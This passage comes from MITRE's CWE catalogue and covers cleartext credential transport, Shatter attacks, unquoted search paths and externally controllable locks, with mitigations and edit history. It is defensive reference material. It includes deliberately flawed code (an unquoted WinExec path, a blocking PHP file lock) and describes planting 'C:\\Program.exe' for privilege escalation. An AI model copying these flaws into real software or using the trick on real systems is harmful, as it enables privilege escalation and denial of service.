Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity; Bypass Protection Mechanism

+ Potential Mitigations

Phase: Architecture and Design

Do not expose administrative functionnality on the user UI.

Phase: Architecture and Design

Protect the administrative/restricted functionality with a strong authentication mechanism.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.956SFP Secondary Cluster: Channel Attack
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1348OWASP Top Ten 2021 Category A04:2021 - Insecure Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUnprotected Primary Channel
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2010-12-13CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-523: Unprotected Transport of Credentials

Weakness ID: 523
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Login pages do not use adequate measures to protect the user name and password while they are in transit from the client to the server.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.522Insufficiently Protected Credentials
CanAlsoBeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.312Cleartext Storage of Sensitive Information
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.255Credentials Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Background Details
SSL (Secure Socket Layer) provides data confidentiality and integrity to HTTP. By encrypting HTTP messages, SSL protects from attackers eavesdropping or altering message contents.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

+ Potential Mitigations

Phases: Operation; System Configuration

Enforce SSL use for the login page or any page used to transmit user credentials or other sensitive information. Even if the entire site does not use SSL, it MUST use SSL for login. Additionally, to help prevent phishing attacks, make sure that SSL serves the login page. SSL allows the user to verify the identity of the server to which they are connecting. If the SSL serves login page, the user can be certain they are talking to the proper end system. A phishing attack would typically redirect a user to a site that does not have a valid trusted server certificate issued from an authorized supplier.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.930OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1028OWASP Top Ten 2017 Category A2 - Broken Authentication
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP23Exposed Data
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Background_Details, Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Other_Notes, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Description, Relationships, Type
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-422: Unprotected Windows Messaging Channel ('Shatter')

Weakness ID: 422
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly verify the source of a message in the Windows Messaging System while running at elevated privileges, creating an alternate channel through which an attacker can directly send a message to the product.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.360Trust of System Event Data
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.420Unprotected Alternate Channel
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity; Bypass Protection Mechanism

+ Observed Examples
ReferenceDescription
Bypass GUI and access restricted dialog box.
Gain privileges via Windows message.
A control allows a change to a pointer for a callback function using Windows message.
Product launches Help functionality while running with raised privileges, allowing command execution using Windows message to access "open file" dialog.
Attacker uses Shatter attack to bypass GUI-enforced protection for CVE-2003-0908.
User can call certain API functions to modify certain properties of privileged programs.
+ Potential Mitigations

Phase: Architecture and Design

Always verify and authenticate the source of the message.
+ Affected Resources
  • System Process
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.953SFP Secondary Cluster: Missing Endpoint Authentication
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Overlaps privilege errors and UI errors.

Research Gap

Possibly under-reported, probably under-studied. It is suspected that a number of publicized vulnerabilities that involve local privilege escalation on Windows systems may be related to Shatter attacks, but they are not labeled as such.

Alternate channel attacks likely exist in other operating systems and messaging models, e.g. in privileged X Windows applications, but examples are not readily available.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUnprotected Windows Messaging Channel ('Shatter')
Software Fault PatternsSFP30Missing endpoint authentication
+ References
[REF-402] Paget. "Exploiting design flaws in the Win32 API for privilege escalation. Or... Shatter Attacks - How to break Windows". 2002-08. <http://web.archive.org/web/20060115174629/http://security.tombom.co.uk/shatter.html>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Design Review." Page 34. 1st Edition. Addison Wesley. 2006.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 12, "Shatter Attacks", Page 694. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes, Research_Gaps
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-428: Unquoted Search Path or Element

Weakness ID: 428
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a search path that contains an unquoted element, in which the element contains whitespace or other separators. This can cause the product to access resources in a parent path.
+ Extended Description
If a malicious individual has access to the file system, it is possible to elevate privileges by inserting such a file as "C:\Program.exe" to be run by a privileged program making use of WinExec.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.426Untrusted Search Path
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1219File Handling Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.668Exposure of Resource to Wrong Sphere
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Windows NT (Sometimes Prevalent)

macOS (Rarely Prevalent)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Execute Unauthorized Code or Commands

+ Demonstrative Examples

Example 1

The following example demonstrates the weakness.

(bad code)
Example Language:
UINT errCode = WinExec( "C:\\Program Files\\Foo\\Bar", SW_SHOW );
+ Observed Examples
ReferenceDescription
Small handful of others. Program doesn't quote the "C:\Program Files\" path when calling a program to be executed - or any other path with a directory or file whose name contains a space - so attacker can put a malicious program.exe into C:.
CreateProcess() and CreateProcessAsUser() can be misused by applications to allow "program.exe" style attacks in C:
Applies to "Common Files" folder, with a malicious common.exe, instead of "Program Files"/program.exe.
+ Potential Mitigations

Phase: Implementation

Properly quote the full search path before executing a program on the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Functional Areas
  • Program Invocation
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.981SFP Secondary Cluster: Path Traversal
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Applicable Platform

This weakness could apply to any OS that supports spaces in filenames, especially any OS that make it easy for a user to insert spaces into filenames or folders, such as Windows. While spaces are technically supported in Unix, the practice is generally avoided. .

Maintenance

This weakness primarily involves the lack of quoting, which is not explicitly stated as a part of CWE-116. CWE-116 also describes output in light of structured messages, but the generation of a filename or search path (as in this weakness) might not be considered a structured message.

An additional complication is the relationship to control spheres. Unlike untrusted search path (CWE-426), which inherently involves control over the definition of a control sphere, this entry concerns a fixed control sphere in which some part of the sphere may be under attacker control. This is not a clean fit under CWE-668 or CWE-610, which suggests that the control sphere model needs enhancement or clarification.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUnquoted Search Path or Element
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 11, "Process Loading", Page 654. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-07-27CWE Content TeamMITRE
updated Applicable_Platforms, Description, Maintenance_Notes, Other_Notes, Potential_Mitigations, Relationships
2010-06-21CWE Content TeamMITRE
updated Other_Notes
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Applicable_Platforms, Related_Attack_Patterns
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2022-04-28CWE Content TeamMITRE
updated Research_Gaps
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-412: Unrestricted Externally Accessible Lock

Weakness ID: 412
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product properly checks for the existence of a lock, but the lock can be externally controlled or influenced by an actor that is outside of the intended sphere of control.
+ Extended Description
This prevents the product from acting on associated resources or performing other behaviors that are controlled by the presence of the lock. Relevant locks might include an exclusive lock or mutex, or modifying a shared resource that is treated as a lock. If the lock can be held for an indefinite period of time, then the denial of service could be permanent.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.667Improper Locking
CanAlsoBeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.410Insufficient Resource Pool
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.411Resource Locking Problems
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Resource Consumption (Other)

When an attacker can control a lock, the program may wait indefinitely until the attacker releases the lock, causing a denial of service to other users of the program. This is especially problematic if there is a blocking operation on the lock.
+ Demonstrative Examples

Example 1

This code tries to obtain a lock for a file, then writes to it.

(bad code)
Example Language: PHP 
function writeToLog($message){
$logfile = fopen("logFile.log", "a");
//attempt to get logfile lock
if (flock($logfile, LOCK_EX)) {
fwrite($logfile,$message);
// unlock logfile
flock($logfile, LOCK_UN);
}
else {
print "Could not obtain lock on logFile.log, message not recorded\n";
}
}
fclose($logFile);

PHP by default will wait indefinitely until a file lock is released. If an attacker is able to obtain the file lock, this code will pause execution, possibly leading to denial of service for other users. Note that in this case, if an attacker can perform an flock() on the file, they may already have privileges to destroy the log file. However, this still impacts the execution of other programs that depend on flock().

+ Observed Examples
ReferenceDescription
Program can not execute when attacker obtains a mutex.
Program can not execute when attacker obtains a lock on a critical output file.
Program can not execute when attacker obtains a lock on a critical output file.
Critical file can be opened with exclusive read access by user, preventing application of security policy. Possibly related to improper permissions, large-window race condition.
Chain: predictable file names used for locking, allowing attacker to create the lock beforehand. Resultant from permissions and randomness.
Chain: Lock files with predictable names. Resultant from randomness.
Product does not check if it can write to a log file, allowing attackers to avoid logging by accessing the file using an exclusive lock. Overlaps unchecked error condition. This is not quite CWE-412, but close.
+ Potential Mitigations

Phases: Architecture and Design; Implementation

Use any access control that is offered by the functionality that is offering the lock.

Phases: Architecture and Design; Implementation

Use unpredictable names or identifiers for the locks. This might not always be possible or feasible.

Phase: Architecture and Design

Consider modifying your code to use non-blocking synchronization methods.
+ Detection Methods

White Box

Automated code analysis techniques might not be able to reliably detect this weakness, since the application's behavior and general security model dictate which resource locks are critical. Interpretation of the weakness might require knowledge of the environment, e.g. if the existence of a file is used as a lock, but the file is created in a world-writable directory.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.3617PK - Time and State
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.730OWASP Top Ten 2004 Category A9 - Denial of Service
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.853The CERT Oracle Secure Coding Standard for Java (2011) Chapter 10 - Locking (LCK)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.989SFP Secondary Cluster: Unrestricted Lock
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1143SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK)
